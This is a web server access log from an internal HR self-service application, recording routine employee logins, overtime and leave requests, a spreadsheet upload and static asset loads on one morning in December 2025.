HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:09:25:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3270702815135518 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3270702815135518 HTTP/1.1" 200 13560 192.168.11.70 - - [03/Dec/2025:09:25:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3270702815135518 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3270702815135518" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3270702815135518 HTTP/1.1" 200 15732 192.168.11.70 - - [03/Dec/2025:09:25:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.70 - - [03/Dec/2025:09:25:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:09:25:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:09:25:57 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5478655501494796 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:57 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5478655501494796 HTTP/1.1" 200 5264 192.168.11.70 - - [03/Dec/2025:09:26:05 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5478655501494796 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5478655501494796" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:05 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5478655501494796 HTTP/1.1" 302 - 192.168.11.70 - - [03/Dec/2025:09:26:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14475 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5478655501494796" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14475 192.168.11.70 - - [03/Dec/2025:09:26:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.70 - - [03/Dec/2025:09:26:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132704%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132704&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132704%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132704&target=iframe HTTP/1.1" 200 3251 192.168.11.70 - - [03/Dec/2025:09:26:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132704 HTTP/1.1" 200 5331 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132704%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132704&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132704 HTTP/1.1" 200 5331 192.168.11.70 - - [03/Dec/2025:09:26:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132704&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 17869 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=132704" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132704&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 17869 192.168.11.70 - - [03/Dec/2025:09:26:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:26:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.108 - - [03/Dec/2025:09:29:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:09:29:03 +0800] "GET /eHR/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:03 +0800] "GET /eHR/ess HTTP/1.1" 301 249 192.168.11.108 - - [03/Dec/2025:09:29:03 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:03 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:09:29:04 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:04 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:09:29:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:09:29:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [03/Dec/2025:09:29:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:29:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 192.168.12.69 - - [03/Dec/2025:09:36:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:09:36:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [03/Dec/2025:09:36:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:09:36:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:09:43:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12114 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:09:43:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12114 192.168.12.59 - - [03/Dec/2025:09:45:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:09:45:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [03/Dec/2025:09:45:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:09:45:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [03/Dec/2025:09:45:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:09:45:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [03/Dec/2025:09:45:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:09:45:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [03/Dec/2025:09:45:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:09:45:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.167 - - [03/Dec/2025:09:58:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.167 - - [03/Dec/2025:09:58:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:58:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 